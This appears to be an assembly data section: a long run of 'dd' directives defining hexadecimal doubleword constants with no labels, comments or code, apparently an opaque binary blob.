dd 82AB3093h, 2DCC1F58h, 2CFEBF1Dh, 75258680h, 6EFACC2h
dd 1C67A294h, 0C7FE7089h, 0C0788F00h, 0DD0D8FAh, 0C1ADC3Fh
dd 98781EC9h, 0AB6450FDh, 0BB73BCE5h, 22F1B10Bh, 0EBC820D0h
dd 126BF79h, 45B39485h, 0F1A61462h, 0DAEA30E8h, 210052E8h
dd 0AC72B269h, 0B8838BA9h, 0C62B001Ch, 0D4B86C04h, 32009E26h
dd 0FD37560h, 7E922h, 40C8B994h, 0AFBD360Ch, 9C281200h
dd 3D7E5539h, 2954003Bh, 67472486h, 3C008F30h, 0BA8D2FFFh
dd 0F24521DBh, 5158014Dh, 0FD8659AEh, 7005C9D2h, 0C01608E0h
dd 100479D0h, 0DCA4A2D3h, 0DC800035h, 0AC960799h, 0CF005CF0h
dd 9012B895h, 0F87252h, 0C0406798h, 99F62F5Eh, 397D7500h
dd 0EEF20F97h, 7CA805D3h, 0C0E94B29h, 27A6AE0h, 51D26700h
dd 27172B12h, 4C355A7Dh, 6B0ECA38h, 76034A00h, 4C91ACA8h
dd 89A51D0Ch, 0FF4E8D1h, 1EBA8CAAh, 8CD80A0h, 0E4E7CA33h
dd 4D002732h, 0D885BEA9h, 4E7ED6AAh, 8F2C0071h, 0AC08D4Bh
dd 0E5FE9C00h, 0BA9B102h, 419A00A7h, 43A4A60Eh, 0DFFC1018h
dd 0DE513100h, 0EB350B55h, 28150119h, 0ABCA9D58h, 0FDD840A2h
dd 2007414Fh, 0ED430A9Ah, 1AB653h, 0E4B2D28h, 0BE198FF0h
dd 3FB2300Eh, 647CA023h, 51F5CC0h, 6D783A56h, 81EC0F90h
dd 0D0DEB127h, 77068C04h, 0CE63AF00h, 5646E77Dh, 39E00A67h
dd 0AC42ECh, 535B7B34h, 4C00C6F3h, 0B9A613F2h, 131B88Bh
dd 0DE55E5A4h, 0E81CC8C4h, 4401F67Eh, 0D2B10ED7h, 0E37037ACh
dd 47340375h, 0D5BB0A5Ch, 0DB70B998h, 5BCF9201h, 0A11B2DF1h
dd 182848D9h, 0B840F201h, 207FBB93h, 72085914h, 2C8D61h
dd 0F97ACB8Eh, 0A301F1D4h, 62B395F0h, 0C841CCB1h, 6CD89339h
dd 5C5E01B7h, 741C0C55h, 0BDC08A04h, 8B1EAC31h, 0C64A6E00h
dd 7225E794h, 1490D7h, 4E0E4D2Eh, 39DE5E6h, 4982AF0Ch
dd 6FA11CDh, 4669A7A2h, 141F58FBh, 0C2C0EA1Fh, 0C1E44E3Fh
dd 43E0FFh, 0E7DF858Ch, 9588468Fh, 9DEA1A00h, 40D89122h
dd 26429037h, 25C718Bh, 472535FCh, 0ACF71860h, 6D00FC94h
dd 0E90BDEF8h, 0D2D30026h, 25C55633h, 0E300F07Ch, 0D1CCC3BBh
dd 33F2389h, 91A1014Fh, 0FAE82B48h, 7F00CF2Fh, 0A8FB7CA7h
dd 1AB4CEh, 0A5F1C2D6h, 8103EA6Eh, 53D2BF00h, 21A15463h
dd 0AC5B00ECh, 6637392Ah, 771FD5DFh, 80FED787h, 38BDC8F6h
dd 76C2BAh, 7CA36229h, 8BC987CFh, 0C324271Fh, 0D05A6AC3h
dd 0F161D77Bh, 13C037AEh, 0D82F5065h, 821009B6h, 78E0EC50h
dd 8095BB7Ch, 21D2E0D4h, 74B9007Bh, 7D44568Fh, 0AC002434h
dd 72EBF332h, 1D014Bh, 0E2C633A3h, 3D08DE6Fh, 0D8274F28h
dd 0D6255C90h, 0C4146067h, 0B17932h, 77473E41h, 0DFB85185h
dd 57603D00h, 0B2C34927h, 0FAFED8h, 2B5ED2B5h, 461FBF6Bh
dd 0AB233A00h, 18928A39h, 477402ECh, 0B6BA3B8Fh, 0BEDC9880h
dd 93005489h, 0B25AFF27h, 1289599h, 0A938E67Bh, 0F8B5B064h
dd 0D801929Dh, 146336FEh, 0C8CF22DEh, 95153h, 7B731A4Ch
dd 287880D6h, 0FC031F00h, 0C734C60Bh, 8207015Dh, 15E3D06h
dd 6B30F4BFh, 3702DA00h, 0AB53739Dh, 0C6DB0089h, 1527CE12h
dd 0AC0026E7h, 0C7881BEBh, 3CB285B9h, 49F722Bh, 41A44144h
dd 0F8F1E6EFh, 0DD01C116h, 750E3201h, 773050C5h, 30E2016Ch
dd 0B1A5A6F7h, 10A07081h, 2685B00h, 2E2F1201h, 60530048h
dd 1619096Ah, 4D0747C7h, 72B36C7Ah, 0B2A5AD00h, 0EEF70035h
dd 0A2BA1AE9h, 0E5EE4EB5h, 70B1F24Ah, 0C8C0C304h, 883FC86Bh
dd 0FD3DE132h, 0E5F9009Ah, 0C9ED128Ah, 87AA0041h, 0FB70A5DFh
dd 0C82685DEh, 240070BAh, 0C6F1F3A2h, 0DC093D10h, 0B4677C00h
dd 0DBC0A0C5h, 0E286900h, 9601FB22h, 0D5EE00B2h, 0CF8243E4h
dd 0D00DE2Dh, 0DB219C6Fh, 2868BA1h, 0B8D757D0h, 0D0C4CDA7h
dd 0F8000976h, 8C53C304h, 0F4FD91h, 9926A8B8h, 3174233Bh
dd 648F4200h, 0FB28DBA6h, 0CE570F24h, 2501B082h, 3C9EDA4Dh
dd 81DD1C1Ch, 87894B83h, 47698054h, 7BD8009Fh, 0D7789E63h
dd 438B59Dh, 904D8796h, 0F420EB68h, 0EA44E3h, 224CFD29h
dd 960EF7A4h, 5BC1A30Fh, 0D12C3FEh, 0F21C007Dh, 4F2F8CA1h
dd 1A00C81Ch, 434B05Bh, 0AED7F7h, 582C86B4h, 0F135E384h
dd 0B0A3C42Eh, 0CD6ECB80h, 0EA3EC1h, 0E75660FEh, 41DF4715h
dd 3AB74205h, 5880A180h, 1CAA97D4h, 4924882Bh, 100784E2h
dd 30809E60h, 9DDF6211h, 80E01F5Ch, 0D776C669h, 532A051Dh
dd 805022C3h, 0A6040268h, 0EAB95D00h, 110552AAh, 96409F9Dh
dd 617DB2D3h, 0DB001090h, 15E2A859h, 24445780h, 6058FA8Fh
dd 4FDC7354h, 6917B504h, 0C80403Dh, 104D37h, 0A814746Dh
dd 0BB7901BEh, 81388000h, 0DBE37172h, 0A2403B86h, 9C9613h
dd 2B8584B4h, 4C00C5ECh, 682AE62Fh, 70D367Dh, 18F7128h
dd 0FC21A0C4h, 6E0012A1h, 0E38ACC3h, 3482C9Ch, 0AAB789C7h
dd 3AD9AB7Ah, 0C6C0D77Ch, 0F607F8A5h, 4396D9B2h, 0F8C224D3h
dd 52B68Dh, 6C1069F7h, 40DD6154h, 5A26F601h, 6DAF3BF8h
dd 8C801861h, 30398D19h, 64016B7Fh, 50F26C11h, 9FD8ED4Bh
dd 0C08350A1h, 1ED8FEA0h, 0C322D170h, 0D063585Dh, 0C3E018EAh
dd 6AF41736h, 62829C0Ah, 4581B410h, 0AAF99EE7h, 54C512F4h
dd 0A030CC5Eh, 0A0B2218Ch, 4A189BC0h, 643440EFh, 0B4D6178h
dd 1BC386C0h, 0F0EF8B5h, 0A622021Ah, 0A20DCB7Dh, 0B8F67C80h
dd 0A4000477h, 4E87C6AFh, 9155ADh, 6FFA769Ch, 0E7FF08F5h
dd 362E5DE8h, 23056026h, 9280BBF6h, 2B09531h, 34BAB6Ch
dd 31E0B55Ah, 78008B43h, 28FA8ADBh, 2451542Bh, 106801h
dd 55421B2Ah, 0C028C803h, 1600C01Ah, 0B8C58925h, 0A20CE3h
dd 0B5D6BAAAh, 0EB95F21Eh, 0CAECAD00h, 56E4F4C7h, 0D8C91D38h
dd 7B833EFAh, 0D667DE31h, 9937B6E8h, 0D29C5500h, 0EBED56D5h
dd 495400F9h, 387C4A32h, 43000C5Bh, 5F4F170Fh, 0D1C260h
dd 8C4B30EFh, 0C83CCB69h, 5A5A6571h, 93883000h, 95C9A8A0h
dd 9C0254ABh, 18E0B1D0h, 0DC98BF3Eh, 7BCA39h, 7A1D6779h
dd 2961E9Ch, 1A52C541h, 7C7C297Dh, 0AA6A3901h, 0D840B359h
dd 0A3D7F073h, 70704888h, 1084500h, 751DA60h, 6E9D9600h
dd 1D8AD828h, 90CD5C0Eh, 56E7260Eh, 20F77060h, 2F006D1Ch
dd 0FEC0C3D1h, 12752723h, 0CA853Dh, 5C48F626h, 3700576Bh
dd 1B600D7Eh, 0FCEC3F39h, 7731F34Dh, 9FC430h, 0D0469159h
dd 1C81D65Eh, 0B36FDF00h, 870978A7h, 27F68Dh, 5C99F4C8h
dd 436023FDh, 5D0542F0h, 7EEDC7B2h, 8DB2780h, 0BBBA30C9h
dd 0D4C110E0h, 89A61D39h, 142332h, 0C3164A82h, 1A742Dh
dd 4B13058Ah, 436AA0AAh, 75FA1201h, 0B38FC252h, 2FCEF0h
dd 0BC94878Ah, 0F4CCC006h, 81245609h, 1FF870DCh, 0D7544470h
dd 1C009122h, 0D400304Ch, 938C0400h, 0E0C64A6Dh, 64B25C49h
dd 0E7EB8Ah, 9B8F1DB3h, 0CD015EF1h, 0BBC71297h, 91CCE77Bh
dd 0EEBA024Eh, 94E5A04Ah
dd 383C7854h, 50A6877Ch, 3E1098AFh, 18ED90h, 5E7AA7C0h
dd 6772F0D5h, 3E71A53Ah, 3D23E85h, 0E0A3EEC1h, 8C01E587h
dd 0F7AE63B5h, 0AEA0560h, 201F794Ch, 0EC1E00C4h, 2263A550h
dd 9E10C9h, 0F616A224h, 98F86382h, 31B06F20h, 2008B28h
dd 4D42A37Ah, 72E47ABh, 6C74F1C4h, 161DA012h, 7013843Bh
dd 0B0C09490h, 38211F31h, 232599BCh, 0C90D2840h, 97666517h
dd 0CCDC0480h, 7078E6h, 557F5CE2h, 0D90E4B8Ah, 0E4C8AB1Eh
dd 6DA84A03h, 14A6D952h, 0F33D4C73h, 6899F3Fh, 7CC04EDFh
dd 1012E2DAh, 20F416C2h, 0F1C100ECh, 3D279944h, 4C00D846h
dd 892EB79Dh, 1678ABAEh, 337014h, 6A6CDD4Bh, 0AC0080DFh
dd 91A32539h, 0F579F94h, 0F47E36A9h, 0BE60236Fh, 6F767A84h
dd 0D1085200h, 3364DF75h, 5D960B80h, 1C009DF2h, 53DC5F32h
dd 0BD76F800h, 37EF0664h, 525013EDh, 276A01D3h, 0C4E8AD96h
dd 78F15938h, 3D4000A8h, 0A32AB7F8h, 9070E8A4h, 0A50D00E8h
dd 19BD91ACh, 74000ECCh, 811A586Eh, 901CE796h, 0AEFC00D8h
dd 0DF31D916h, 0D0083ABh, 9EC8E821h, 3C1E513h, 9F2AE06Dh
dd 0D7B81214h, 1D249131h, 8C0008BCh, 0BD922CA0h, 5453187Ah
dd 0F0131EB0h, 175A9714h, 3CB20E88h, 0ABE9A107h, 0B8200553h
dd 0F4BA17B3h, 6E9F0706h, 0F281C05Fh, 6525CB71h, 938F439h
dd 9700FBD8h, 1434BCB1h, 2070282Fh, 6655E0D4h, 0E3B01837h
dd 0AD54EFCh, 0F74BD00h, 1EE0F2A7h, 89FA0036h, 6F082D80h
dd 7900E6D9h, 939726EBh, 33A349ACh, 896076C7h, 981C9Dh
dd 97C44FBCh, 81000CEEh, 0C275A80Eh, 7A909E3Bh, 7B2EEADh
dd 8B5346C5h, 3F5F20EAh, 0BF00D2CFh, 9BB15A8Eh, 752A93h
dd 336561E4h, 0E1AE7A39h, 3AF35909h, 97D38069h, 2D6517Bh
dd 1031607h, 8606FF1h, 71EB541Ah, 39C9F00Ch, 0B1A8C500h
dd 0A3071D63h, 92AF03ABh, 570D5238h, 28821100h, 7F07B326h
dd 2B5601B9h, 8531E3D1h, 1A4FD021h, 0A482E0A0h, 59EA3D00h
dd 3C4EAB52h, 23161747h, 0D03C00B0h, 3D08AD3Eh, 5518A00h
dd 53490B0Fh, 1510B86Ah, 0DCD4BB46h, 0FCDA4B01h, 0C817C890h
dd 1A4D2AE1h, 0D75F1EC8h, 98048027h, 0FBF668h, 0E57FCC63h
dd 0D8ABE628h, 8F2EAC0Fh, 521EEEB6h, 2780A0h, 29C073A2h
dd 0DC38E55Ch, 4400114Eh, 0C81225Bh, 0B0830076h, 7D57AC59h
dd 0EA0020AAh, 0A69FFAA9h, 0E0B91310h, 0D2EB4C3Bh, 0F46F740Bh
dd 33622CA0h, 0B89955F5h, 0F200E024h, 589ACFD7h, 0C880EB8Dh
dd 67AF7EE7h, 651C5AA9h, 9298CBD2h, 8BD418h, 3FA30CC2h
dd 9DE59545h, 0A81E7F28h, 14EC6E07h, 614093B4h, 7B153FB5h
dd 0A87CF0h, 0F9CF1C16h, 4FF4183Ah, 945E0C00h, 77ABD133h
dd 0A0D900D0h, 0D881E344h, 157AACB5h, 0FF82E100h, 24935350h
dd 62160085h, 2278E89Ah, 192679D8h, 0AF00F7CAh, 0FA745BA0h
dd 97D5000Dh, 4276CB80h, 0F80186B1h, 41E88856h, 8AC9EF94h
dd 2480CCh, 285C6D54h, 583C35A1h, 74032900h, 11CFE186h
dd 61B801CEh, 3382C819h, 868F8DFh, 0F257D700h, 458E9D9Fh
dd 15DB00F1h, 3251783Fh, 0C90E59FBh, 8313E829h, 0EBC87Fh
dd 0BC0FDE50h, 59336B7Eh, 611F2100h, 169B4F04h, 454800B6h
dd 0FDD4985Dh, 0F0063B9h, 0E88986F1h, 0B1DF2Ch, 7BDCB59Ch
dd 955DFB3Ah, 9D88F203h, 0F00E33D7h, 3F60D598h, 20BD84E8h
dd 0DE286B37h, 0EC3D0C00h, 5B1AE96Eh, 6068B9D0h, 0F8D19D56h
dd 7B960035h, 564B310Eh, 0E600D354h, 0EAC1EBD8h, 0B3DF2Bh
dd 4840695Eh, 43313D0h, 23078AF0h, 4A9B6EEEh, 103A34D0h
dd 0B9C8008Ch, 0F17ECF1Dh, 0F6005D92h, 96324C4Dh, 1ECD1A6Dh
dd 10666Ch, 102E7B0h, 3DF042BAh, 2708E000h, 889B7D26h
dd 2E530085h, 18BB7B15h, 601CC591h, 0C8A8B103h, 1E5F2000h
dd 0C6247A43h, 0F4E902DBh, 2C928BB7h, 0F5EA3160h, 6DB538h
dd 3228ADD0h, 3AE16FA8h, 3380717Bh, 0F66EAF49h, 0CC006A74h
dd 2E0B29EBh, 52F143h, 0F938C6A4h, 0FFDD7DD0h, 2287B601h
dd 0DC028495h, 0C3791080h, 90C220ADh, 0A1B00950h, 28007490h
dd 0DCBC6847h, 188F7D7h, 0F0C310E9h, 0D4A5C1BAh, 0C63EBBA0h
dd 0ACB080B2h, 0E6A2C84Bh, 0EBE100B4h, 0F80B70A4h, 0D0002514h
dd 0E317474Fh, 2E7CF0h, 62BE36D9h, 85FA0A1Dh, 0A8077300h
dd 0EECEB6FDh, 1A7E0026h, 57E252B5h, 83006D78h, 4909415Bh
dd 1C170F89h, 0C77953h, 0C15A9829h, 0CC12D947h, 3C003D54h
dd 10A008DDh, 72280369h, 147A98B1h, 800AA43Bh, 0C9AB2B7Dh
dd 3298F4Ah, 4808B950h, 0C090A298h, 7000ED36h, 10E13869h
dd 26D47Dh, 0A20D4034h, 734123FEh, 924E3300h, 98975889h
dd 4538307Eh, 23B2D8D2h, 8BF1CB01h, 0BFC5341Ah, 2CEB2A80h
dd 0B1071E08h, 362501Dh, 0A0C2A58Eh, 0BE409B9Eh, 3C6D0334h
dd 0A13E66ECh, 22E7A4D0h, 0FB618500h, 14A0AD1Eh, 0EE121F6Eh
dd 3F6A80FCh, 0E4220E7Ch, 1100BD7Ch, 47B25AEDh, 57385Eh
dd 48B32A95h, 4586087Ch, 0AB615B03h, 9819C885h, 1F10C14h
dd 3BE7559Ah, 0D46CBA31h, 935035BEh, 1006ED9h, 8BAA6F5Dh
dd 0A23BA6h, 0C142A7BCh, 0FE58027Ah, 85C73D00h, 0E5A698D9h
dd 46AC1E20h, 0EEC3C151h, 0C84011DEh, 7EC7D3Eh, 0EB58EF0Fh
dd 0C8017685h, 0CA519EE8h, 3BAD0F4h, 3A474C35h, 0C2F4BDECh
dd 38483724h, 2C0080F7h, 705F3078h, 292F15h, 5519AE46h
dd 68D56B7Ah, 9A48E0FCh, 225700ACh, 65EB3AB1h, 94F14C75h
dd 7961C818h, 0FB0F389Dh, 848E219Eh, 40C06275h, 0E8E0CFB1h
dd 2E4C0180h, 5874077Ah, 0B211F442h, 0A5FFB704h, 3880226Eh
dd 0FAEFB3h, 54BD44A2h, 0A671C987h, 21F26F18h, 28683C20h
dd 0FC25CAh, 47C6F332h, 8DB097A8h, 0FA75AFFCh, 0A0308104h
dd 0F4C070C9h, 7E94B6A2h, 0B3830555h, 0EAB064h, 484DB80h
dd 0D89103E7h, 0CFC93BC1h, 2F0A034h, 66B2802Eh, 0B86833AEh
dd 8A00A87Ch, 0EA572788h, 1F12BBBh, 9374A9CBh, 0C0FA7984h
dd 20019B78h, 6E9C019Eh, 8644B58h, 905F03D8h, 1A09DFFFh
dd 80DABAE1h, 93D0AF40h, 0FAC4CB04h, 0CAA203CDh, 0B658179h
dd 78001EE3h, 0C7544014h, 3F0164h, 3AD36D4Ch, 5D370AF6h
dd 14DAC0F9h, 2C97EE26h, 6AEF1100h, 8BE8D5h, 0A7091DF6h
dd 12534DB2h, 0F3267A76h, 2300DA55h, 0CC1E8FF5h, 387600D4h
dd 0DDBFF9D2h, 880529F3h, 0FACF6E7Fh, 840F4090h, 24E60405h
dd 542D6038h, 0C4A50C9Eh, 163B96Bh, 139E5DBBh, 0C5DD83CBh
dd 344198B7h, 9FE560h, 19243C2Eh, 0B2A30D22h, 949DDF03h
dd 0A05BFB6Ah, 2A432C20h, 2CCD213h, 2D06D633h, 908C8F79h
dd 6688A630h, 2980EF7Eh, 6F2DC358h, 94A3786Eh, 4E315A80h
dd 41D4F74h, 0E2C66526h, 5491A9D1h, 0EED830h, 0D714CB7h
dd 0C06D569Dh, 0D43551C1h, 5048AB04h, 36932A4Bh, 2EA94h
dd 7740D0C0h, 62BBC110h, 5796C318h, 242CBD41h, 7020139Fh
dd 86007E93h, 0BEAADBB5h, 30D1F090h, 3F98E943h, 0FB047884h
dd 47352BEDh, 8B089880h, 0F6E91FDEh, 4BB0C989h, 96E73C80h
dd 1C007FF9h, 0BEE6F3B3h, 92FA5C7Ah, 0AE3B008Ch, 0A5A6DD6Ah
dd 0F90993B9h, 25198EF6h, 0E08380B8h, 1D5000E9h, 44A5D8FBh
dd 202439B4h, 0BE86582Eh, 0B93FAFh, 51D596CDh, 0B7D388F6h
dd 25D7C506h, 321AFDFh, 7BBE0C6h, 0D29C9BF6h, 4CE02D00h
dd 3E9850A9h, 9C1DC8B0h
dd 3B82E7F0h, 0C0F54D1Eh, 0F9AA18h, 0D51F28C3h, 78D1FB7Bh
dd 7FFB606h, 0E488759Fh, 68B0098h, 0C76A34ECh, 95120E77h
dd 860009C0h, 0F47839CAh, 4A192E9Dh, 69A600A0h, 2488C4B7h
dd 966FEF00h, 0AB4CD586h, 617A72h, 0F5742D93h, 76DBE412h
dd 6BFB3Fh, 0AC8A08FDh, 7EFFC15h, 745B34E1h, 0C5DCB011h
dd 843DCE8Dh, 0D9DE8709h, 66A12B10h, 30E082A8h, 177B034Ah
dd 0B81C3787h, 56A39CE8h, 113EF71Dh, 64C69642h, 97FDC085h
dd 3AF5005Eh, 3E5B0179h, 33008B4Dh, 6688FECBh, 14CB18Eh
dd 4B1D80B3h, 0E8E34184h, 84A30651h, 0A2FF3CD8h, 0A685DA00h
dd 97D4C9BCh, 8FF200EAh, 0D2CAB3AFh, 6001CC95h, 92C80D70h
dd 68804E49h, 0A9D30891h, 16004D4Ch, 0CCAD8A54h, 0B82AE889h
dd 5721160h, 2919CF26h, 5F7C2770h, 0A5329690h, 50EE0006h
dd 40520564h, 77009DEAh, 7399E99Eh, 24F0A062h, 0A38AB8h
dd 2056AEEh, 1658A7D0h, 2C3F1800h, 0DCEBC8h, 70B4F62Bh
dd 9D57E4FDh, 0BE00557Ah, 0E0359C85h, 3FFB3942h, 308E4EC1h
dd 0FC005F5Ch, 89C2CB15h, 5DB4D000h, 0DCFD3E6Ch, 0FAC4030Eh
dd 0B33D8EB6h, 48E96400h, 92F753EAh, 2A182435h, 388C00D0h
dd 2CA51B5Ah, 0ACC65226h, 0BC9C5880h, 839344h, 9D7BE0F4h
dd 99EF3D45h, 0AA6C7C00h, 0ABFC312Bh, 3459829h, 1C646865h
dd 403DBAECh, 0E5730355h, 0F0FB6B70h, 0EBDA2AAh, 2C9E84E3h
dd 4A664380h, 6F0095C4h, 4745ABC2h, 860F88h, 2312F8D2h
dd 0E91E71FAh, 7160CB8h, 64302F60h, 98E002BDh, 55F91358h
dd 0BC7828F8h, 0C029F03h, 0E047C4B2h, 0B137140Dh, 7A80536Ch
dd 0A9B0AB2Fh, 0B615F088h, 6D24A213h, 0DB383600h, 7CA4E02Ch
dd 0C9010698h, 51C54175h, 9B90200h, 9B59BE9Eh, 0CB050B8Ah
dd 30002B84h, 24AD1352h, 27929716h, 0F3F88040h, 30F0A989h
dd 0FC70E49Dh, 0B4125906h, 84BC2C6h, 57A420BDh, 9AF7AC85h
dd 47C80920h, 0B88019B9h, 3D2190E6h, 3462506h, 13B89350h
dd 0A0CBA81Fh, 7500CAFAh, 8E9F564h, 38C3210Bh, 0F100C1D4h
dd 9720A56Dh, 0AA307316h, 28A2E011h, 70D30632h, 89CF9E9Fh
dd 81C7633Eh, 438D5AB9h, 14703F8Ch, 0A0716006h, 0FCFBAAC3h
dd 8107EBFAh, 3C17FFD7h, 7648C24Fh, 288CC174h, 64628017h
dd 3492EA24h, 71D4570Ah, 0B9B8E3h, 0B3C4A0ACh, 134DB1FCh
dd 1DAF1455h, 719D8214h, 0A8C41AB4h, 50E02099h, 0C1E5C4Bh
dd 2A92892Eh, 7701B9C1h, 40E5CB8Fh, 16C8B8D4h, 0D50B0B47h
dd 0DC30F655h, 2B206549h, 2AAE02C7h, 2C4FB5DBh, 0FE388880h
dd 0FC00F834h, 49765F58h, 33EE1A2h, 9BB22ED6h, 71002321h
dd 0B7F52BD2h, 28F7655h, 0A7AFE4C8h, 0C4C03D93h, 0CC54039Ah
dd 90F4D80h, 40160A65h, 7477B8DAh, 0B4140F23h, 0FEBF5A34h
dd 96A4112Ch, 0E01E40h, 85C5E859h, 983BE09Eh, 2A4293E1h
dd 84961C23h, 6EA11490h, 6FA216B0h, 16985E71h, 207C21D8h
dd 695DE82Dh, 0C9C9013h, 0D3F78C40h, 0C9A52D6h, 0C7374D0Fh
dd 0E926B638h, 11308CE3h, 22EC5572h, 2626C169h, 5000B2AEh
dd 681A888Ch, 174E1FB7h, 0AB974179h, 74F9AE96h, 0E603CB30h
dd 57195B9Bh, 0C3C28C78h, 0BD00488Ch, 0F4E7096Ch, 0F025EC81h
dd 6CF43815h, 0C3C24E0Fh, 5456602Eh, 72267Ah, 4B601722h
dd 0D43E9E62h, 3AC83201h, 93B8B7FBh, 70E452FEh, 27380E57h
dd 820A228h, 81EF6DA1h, 3A1558h, 0BB65AAFBh, 751DC5h, 2134F207h
dd 0C766B005h, 3B00B4B9h, 7C4F17Eh, 396C602Bh, 3C7CCD45h
dd 7A254E00h, 709EF853h, 41FA77h, 2892E6C1h, 57B3A8D7h
dd 0DB32E400h, 0A33358B0h, 99B2006Ch, 0F85E72B1h, 302CAB65h
dd 7107AC3Dh, 69905CADh, 6D1531h, 89E4F61Ah, 267E57FDh
dd 9DAAEE00h, 2B69350Bh, 0E2E9002Ah, 3CECB158h, 43FEB9E5h
dd 0AEE6A80Fh, 0F0CE605Dh, 94788Ah, 80C55EA3h, 0BD844A65h
dd 0B9AB2809h, 3860017Bh, 62D80667h, 3DE131Ch, 2710D021h
dd 223E3AC7h, 0E845805Dh, 2A50B5F9h, 190700A0h, 5B5F5963h
dd 88B0A721h, 0F5727C01h, 360311F3h, 4AA860h, 0BF0FCEBCh
dd 663E6A7Fh, 74EC2A54h, 0D882A000h, 93187125h, 435301B8h
dd 84ADE8Fh, 0F56C346Ah, 3206D61Eh, 66D56B80h, 1FF2DD10h
dd 0DE3E86h, 56C268D4h, 3A38AD6Eh, 3DFA4C53h, 0BFFC004Fh
dd 8DEAD4D9h, 97FD0080h, 8C8368BCh, 4C92D024h, 78849B00h
dd 47A3D8C7h, 58027C94h, 7F9431h, 4CBE620Eh, 7363E9C6h
dd 0E3002390h, 35564879h, 7755F237h, 59B0032h, 4F0F201Ah
dd 101C365h, 0C846F10Dh, 0B1EC9DDDh, 0B293E062h, 0E22C0038h
dd 0BF64CD61h, 2DF20427h, 12B87A0Eh, 4DC01D19h, 7D6C92C5h
dd 84C926A9h, 0FC210060h, 0E831014Ah, 872C8000h, 56060AF2h
dd 557A037Ch, 48CFFB26h, 5FC6FDE0h, 7D243E00h, 71EB6FB8h
dd 4B5C0077h, 7AAE1E2Ch, 854C87A2h, 54492658h, 87E7C90Fh
dd 58709CBAh, 96C7F8F4h, 0FED586BCh, 1200B9A5h, 0F8EA1E6Ch
dd 0B0D6B536h, 29A201ACh, 1BB96F4Bh, 675C2057h, 2F331700h
dd 0CB72859Eh, 54FB0255h, 467BBED9h, 9C68D142h, 360486F5h
dd 0D1B35F03h, 0F0AB9CC3h, 24D40FF1h, 8010853Dh, 48DF05EAh
dd 24095382h, 6BF6564Bh, 2BF1E0CCh, 9DE8C696h, 46005930h
dd 21275465h, 9AE41C89h, 6F9A00B8h, 99AE11FAh, 7758B080h
dd 175600D0h, 9EA330C9h, 46F6884Bh, 2A0FF894h, 2ECCC564h
dd 91A22487h, 0C0586B80h, 4C90E217h, 49804CBFh, 37652DC5h
dd 0BC47C302h, 0A0831D77h, 7362C49Ch, 13A1C0F2h, 29F734AAh
dd 544AD100h, 0C356AF74h, 82750480h, 0CCE3DDBBh, 4C00DCF8h
dd 0CB11FC9Ch, 3998F7h, 4A5779B5h, 9E93D1Ah, 0BD0F4C00h
dd 3B242659h, 882F3005h, 64394979h, 0CE38B403h, 2E0B5C14h
dd 8264BAD9h, 4892C497h, 0BB420627h, 17DCC777h, 8110609Fh
dd 4909A0E0h, 0A9AD43h, 55C97424h, 0E54813E7h, 391088B1h
dd 30A11A2Eh, 0B63E2C8Fh, 40C1C84Bh, 13C858h, 9B84D58Dh
dd 7F20BC94h, 0A10BF50Dh, 1ADE595Fh, 0FF79A8C9h, 0ECA1E6E2h
dd 0D06B0AAAh, 0E13AC8A0h, 2CF4242Ch, 8AEC9D03h, 738903EDh
dd 0E472D554h, 0AB6B1104h, 0D4E0B7A1h, 6FCE20AEh, 0E3000998h
dd 55F474E8h, 0F4824BE4h, 2737002Ah, 0E59695FBh, 0EF7F6F54h
dd 0C817D300h, 0A9299E4Bh, 1EDE249h, 0F8B4B535h, 30D02512h
dd 0AE266485h, 0FB004809h, 95CCB9B6h, 0BA11C003h, 403F1FDFh
dd 43C55B04h, 0A417C6h, 0CC7954D0h, 64CC001Dh, 0EA5F3A3h
dd 55025A73h, 575C0C6Dh, 9F546375h, 9C92DDC5h, 535C8094h
dd 0FE5738h, 3322EF0Ah, 0B088EB8Eh, 29EAFF00h, 2EE39892h
dd 0E7640099h, 8FC1B7D6h, 0A3F28421h, 0E1C08D00h, 0F10C229Dh
dd 94B0A2h, 79535833h, 0B2725D31h, 2BFFA600h, 6F402C7Ch
dd 6EA700C6h, 0DBBE0DC1h, 5601289Ah, 20AFC0F7h, 0AAF8D13Ah
dd 5482008Ch, 0BCA24D15h, 955CE1D6h, 0D2E30128h, 0D43A9458h
dd 1BBB9D8h, 51B850D5h, 0F44FDB97h, 8600C57Dh, 462A73ACh
dd 2D7B5F05h, 1278ED2Eh, 6E4F3F1Eh, 2F679240h, 12040156h
dd 0E08DD2h, 0B8172778h, 5000E7ADh, 2F20687Fh, 391F4440h
dd 49801679h, 855A4A25h, 9000E018h, 0C735D86Ah, 0EA81B1h
dd 2EC5759Bh, 1198AAD0h, 21765C0Ah, 0E1EE08Fh, 4C30FED2h
dd 0A0C74h, 2182A9D3h, 27B71875h, 0B51A7F07h, 7A6016ADh
dd 48B4B62Dh
dd 0F5773348h, 28FCB7E1h, 0F5EE0760h, 0A9683F9Ch, 9B76D422h
dd 2620F472h, 955901C6h, 70DDF83Dh, 866530B4h, 10942500h
dd 0D01E6449h, 4B782460h, 97213028h, 941E7598h, 0E5812C2Fh
dd 390DDD8Eh, 0E8A94460h, 7193F979h, 0EB1E71h, 0D1E8E5D4h
dd 64944F14h, 40001B96h, 461D582Dh, 48CEF08Ch, 2E102CE7h
dd 0AE5F1665h, 0D8B5DC82h, 70F400F0h, 0EAE8DA2Fh, 0A2027BC1h
dd 62459B6Bh, 7F17C004h, 11BA03B3h, 9DEEC74h, 5EC2DC98h
dd 97874D07h, 5AE28821h, 45C4C0E6h, 0C990091h, 4FC3DBB9h
dd 1D008FBFh, 36103D18h, 64F60Fh, 0A799D884h, 0FA0821E2h
dd 0FC0028E6h, 0AEFD3E8Ah, 58AA3436h, 7F018861h, 5B1110A2h
dd 3926C8C6h, 0B478041h, 45B45830h, 672F2630h, 9C5000E8h
dd 5E16394Eh, 6AFD0100h, 0A7D3651Ah, 96DD00C9h, 0DE8681EEh
dd 3226D2BAh, 0CD05D442h, 0D3C0BBE2h, 0F40F897Dh, 11D900B2h
dd 0C248B9CFh, 942C6D93h, 0C100F4EFh, 137EC3FCh, 74E40058h
dd 55BF1C9Fh, 8B83B4Eh, 732FE300h, 71DD7284h, 0FFAC2613h
dd 0A5550348h, 80B86E2Dh, 900D023h, 15578B0Ch, 3C71CD3h
dd 0AA69ACBCh, 0E10056C4h, 0A8BAC034h, 40B5E5h, 92F8D4BFh
dd 49BE8C60h, 0F2CFA61Dh, 350A7A80h, 1877C3h, 513E074Dh
dd 228ACEB5h, 32622Fh, 1E8B5398h, 0E07B619Ah, 2329E307h
dd 0A2110F58h, 0C68E8088h, 971F70h, 0EA711AC2h, 7DC80A7Fh
